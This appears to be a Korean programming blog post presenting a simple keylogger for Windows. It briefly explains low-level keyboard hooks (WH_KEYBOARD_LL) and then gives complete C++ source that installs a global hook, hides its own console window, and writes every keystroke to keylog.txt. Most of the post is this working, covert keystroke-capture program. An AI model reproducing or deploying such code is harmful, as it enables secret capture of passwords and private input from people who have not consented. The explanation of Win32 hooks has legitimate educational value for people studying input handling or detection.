본문 바로가기
프로그래밍/C++

C/C++ ] 키보드 메시지 후킹을 사용한 간단 키로거

by eteo 2023. 11. 21.

 

 

 

 

WH_KEYBOARD_LL

 

저수준 키보드 후크는 해당 애플리케이션 창이 비활성화되거나 포커스가 없는 상태에서도 모든 키보드 입력 이벤트를 후킹할 필요가 있을 때 사용한다. OS 시스템 메시지 큐에 있는 키 이벤트가 응용프로그램에 도달하기 전에 후킹 되므로 후크 프로시저에서 이벤트를 차단하거나 수정할 수 있다.

 

 

 

 

#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <fstream>

HHOOK hHook;
std::ofstream logfile;

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {

    LPKBDLLHOOKSTRUCT key = (LPKBDLLHOOKSTRUCT)lParam;
    
    if (code >= 0 && wParam == WM_KEYDOWN) {
		if (key->vkCode == VK_LCONTROL || key->vkCode == VK_RCONTROL) {
			logfile << "[Ctrl]";
		}
		else if (key->vkCode == VK_LSHIFT || key->vkCode == VK_RSHIFT) {
			logfile << "[Shift]";
		}
		else if (key->vkCode == VK_LMENU || key->vkCode == VK_RMENU) {
			logfile << "[Alt]";
		}
		else if (key->vkCode == VK_RETURN) {
			logfile << "[Enter]";
		}
		else if (key->vkCode == VK_SPACE) {
			logfile << "[Space]";
		}
		else {
			logfile << (char)key->vkCode;
		}

        logfile << std::flush;
			 
    }

    // 후킹이 끝나면 다음 후크로 제어를 넘김
    return CallNextHookEx(hHook, code, wParam, lParam);
}

int main(void) 
{
    HWND consoleWindow = GetConsoleWindow();
    // 콘솔창 숨김
    ShowWindow(consoleWindow, SW_HIDE);

    logfile.open("keylog.txt", std::ios::out | std::ios::trunc);

    // 저수준 키보드 후킹 셋
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

    if (hHook == NULL) {
        return 1;
    }

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) != 0);

    // 언훅
    UnhookWindowsHookEx(hHook);
    logfile.close();

    return 0;
}

 

 

 

 

 

가상 키코드 목록

 

https://learn.microsoft.com/ko-kr/windows/win32/inputdev/virtual-key-codes

 

가상 키 코드(Winuser.h) - Win32 apps

다음 표에서는 시스템에서 사용하는 가상 키 코드에 해당하는 기호 상수 이름, 16진수 값 및 마우스 또는 키보드를 보여 줍니다. 코드는 숫자 순서로 나열됩니다.

learn.microsoft.com